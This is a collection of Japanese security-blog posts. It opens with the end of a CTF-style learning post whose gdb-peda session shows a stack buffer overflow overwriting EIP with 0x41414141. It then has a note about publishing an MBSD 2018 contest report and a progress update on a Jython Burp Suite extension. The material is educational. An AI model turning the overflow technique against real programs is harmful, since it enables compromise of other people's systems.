gdb-peda$ where #0 0x080484cf in main () #1 0x41414141 in ?? () #2 0x41414141 in ?? () #3 0x41414141 in ?? () #4 0x41414141 in ?? () #5 0x41414141 in ?? () #6 0x41414141 in ?? () #7 0x41414141 in ?? () #8 0x41414141 in ?? () #9 0x41414141 in ?? () #10 0x41414141 in ?? () #11 0x41414141 in ?? () #12 0x41414141 in ?? () #13 0x00414141 in ?? () #14 0x00000000 in ?? ()
この時点では、#1のリターンアドレス、つまりmain()終了時のret時にSegmentation faultが発生するのではないかと今の所は考えている。
では、進めよう。
実際にその通りなのかもしれない。
[-----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xf7fc0000 --> 0x1acda8 ECX: 0x0 EDX: 0xf7fc1898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x41414141 (b'AAAA') ESP: 0xffffd6dc ('A' <repeats 15 times>...) EIP: 0x80484ed (<main+80>: ret) [-------------------------------------code--------------------------------------] 0x80484e2 <main+69>: call 0x8048350 <printf@plt> 0x80484e7 <main+74>: mov eax,0x0 0x80484ec <main+79>: leave => 0x80484ed <main+80>: ret 0x80484ee: xchg ax,ax 0x80484f0 <__libc_csu_init>: push ebp 0x80484f1 <__libc_csu_init+1>: push edi 0x80484f2 <__libc_csu_init+2>: xor edi,edi [-------------------------------------stack-------------------------------------] 00:0000| esp 0xffffd6dc ('A' <repeats 15 times>...) 01:0004| 0xffffd6e0 ('A' <repeats 15 times>...) 02:0008| 0xffffd6e4 ('A' <repeats 15 times>...) 03:0012| 0xffffd6e8 ('A' <repeats 15 times>...) 04:0016| 0xffffd6ec ('A' <repeats 15 times>...) 05:0020| 0xffffd6f0 ('A' <repeats 15 times>...) 06:0024| 0xffffd6f4 ('A' <repeats 15 times>...) 07:0028| 0xffffd6f8 ('A' <repeats 15 times>...) [-------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value 0x080484ed in main () gdb-peda$ where #0 0x080484ed in main () #1 0x41414141 in ?? () #2 0x41414141 in ?? () #3 0x41414141 in ?? () #4 0x41414141 in ?? () #5 0x41414141 in ?? () #6 0x41414141 in ?? () #7 0x41414141 in ?? () #8 0x41414141 in ?? () #9 0x41414141 in ?? () #10 0x41414141 in ?? () #11 0x41414141 in ?? () #12 0x41414141 in ?? () #13 0x00414141 in ?? () #14 0x00000000 in ?? () gdb-peda$ disas Dump of assembler code for function main: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: and esp,0xfffffff0 0x080484a3 <+6>: sub esp,0x50 0x080484a6 <+9>: mov DWORD PTR [esp],0x8048580 0x080484ad <+16>: call 0x8048370 <puts@plt> 0x080484b2 <+21>: mov eax,ds:0x804a028 0x080484b7 <+26>: mov DWORD PTR [esp+0x8],eax 0x080484bb <+30>: mov DWORD PTR [esp+0x4],0x80 0x080484c3 <+38>: lea eax,[esp+0x10] 0x080484c7 <+42>: mov DWORD PTR [esp],eax 0x080484ca <+45>: call 0x8048360 <fgets@plt> 0x080484cf <+50>: mov DWORD PTR [esp],0x804858d 0x080484d6 <+57>: call 0x8048370 <puts@plt> 0x080484db <+62>: lea eax,[esp+0x10] 0x080484df <+66>: mov DWORD PTR [esp],eax 0x080484e2 <+69>: call 0x8048350 <printf@plt> 0x080484e7 <+74>: mov eax,0x0 0x080484ec <+79>: leave => 0x080484ed <+80>: ret End of assembler dump.
retに至った時点で常にebpが0x414141...となっておりこのまま進めてもSegmentation faultとなるであろう。
その後実際にstep inで実行してみると、
gdb-peda$ si [-----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xf7fc0000 --> 0x1acda8 ECX: 0x0 EDX: 0xf7fc1898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x41414141 (b'AAAA') ESP: 0xffffd6e0 ('A' <repeats 15 times>...) EIP: 0x41414141 (b'AAAA') [-------------------------------------code--------------------------------------] Invalid $PC address: 0x41414141 [-------------------------------------stack-------------------------------------] 00:0000| esp 0xffffd6e0 ('A' <repeats 15 times>...) 01:0004| 0xffffd6e4 ('A' <repeats 15 times>...) 02:0008| 0xffffd6e8 ('A' <repeats 15 times>...) 03:0012| 0xffffd6ec ('A' <repeats 15 times>...) 04:0016| 0xffffd6f0 ('A' <repeats 15 times>...) 05:0020| 0xffffd6f4 ('A' <repeats 15 times>...) 06:0024| 0xffffd6f8 ('A' <repeats 15 times>...) 07:0028| 0xffffd6fc ('A' <repeats 15 times>...) [-------------------------------------------------------------------------------] Legend: stack, code, data, heap, rodata, value 0x41414141 in ?? ()
となっておりEIPの汚染を確実に可能とした。
結論
スタック状に格納されるローカル変数を汚染するための方法を理解できたと思う。
次はもう少し攻撃的なものを覚えたい。
参考書籍/サイト
ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ Debugging with GDB - データの検査 セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方
MBSD Cyber Security Challenge 2018 のレポートの話
書き出し
昨年参加したMBSD Cyber Security Challenge 2018のレポートを公開するか否かを考えて約1ヶ月、多くのチームとともに公開できればと思い公開しました。
焦り書きましたので、誤字脱字が多く読みにくいと思いますが温かい目で見守っていただければ幸いです。
参加記録
本題
同じサークル(IPfactory)から参加した8ayacのツイート
MBSD Cybersecurity Challenges 2018で提出したレポートを公開しました。
— 8ayac (@8ayac) 2019年1月13日
今回の大会の成果物は、共有することに大きな意義があると考えました。
私達の公開したレポートが、今回の大会に参加していた学生の方々や、その他の様々な方のお役に立てれば嬉しいです。https://t.co/TRgZqOAU20
Burp Suiteの拡張を作りの話 ~Swagger Specを読み込みたい~
書き出し
おとそ気分が抜け切らない状態で2週間近く経過したあざらです。 今回は、近況の報告を兼ねて、ここ数週間作っていたBurp Suiteの拡張について書いていきます。 短めですがお付き合いください
作っているもの
swaggerで定義されたSwagger Specを利用し、必要最低限のHTTPリクエストを生成、そのリクエストをintruderとrepeaterに展開するための拡張機能を作成しています。
最低限欲しかった機能
- Swagger Specを利用したリクエストの生成
- 指定パラメータの置き換え
- リクエストのintruderとrepeaterへの展開
- Authorization headerの追加(主にbearerを利用したJWTのため)
できれば欲しい機能
- 任意のheaderの追加機能
- intruderとrepeaterのオン/オフ機能
- 再利用可能な拡張のUI設計
進捗
2018/01/12時点で最低限欲しかった機能は完成しており現在UIの磨き上げとできれば欲しい機能の追加を施しています。
外観
Option以外の必要な機能は機能するように作成済み。
ただインプット用のポップアップがまだ未完成で....かなしい限り
Listへの値挿入はこのような形で動きます。
Swagger Specの読み込みとその後の動作はこのような形で、しっかりと展開されていることがわかります。
終わりに
今回は製作途中ということもあり少し短めかつ、駆け足での投稿になってしまいましたが、完成次第再度ブログを書こうと思いますのでよろしくお願いします。
書き置き
言語選び
Burp Suiteの拡張の作成に使用できる言語は次の3つ存在しました。
言語 | 種別 | 概略 |
---|---|---|
Java | Java | Burp Suite自体が Javaで実装されているため利用可能 |
JRuby | Rubyインタプリタ | Javaで実装されたRuby 現状 2.5までサポートしている |
Jython | Pythonインタプリタ | Javaで実装されたPython 現状 2.7で開発がストップしている |
今回私はある程度書いたことのある "Jython" を選択しました。
環境整備
Jythonの設定
- ここからJythonをダウンロード
- Burp SuiteのExtender > Optionへ
- Python Enviromentにあるselect fileで先ほど取得したJythonを選択
- オプションでpipなどでインストールしたモジュールを指定
参考資料
参考にさせていただきましたサイト様の記載(敬称略)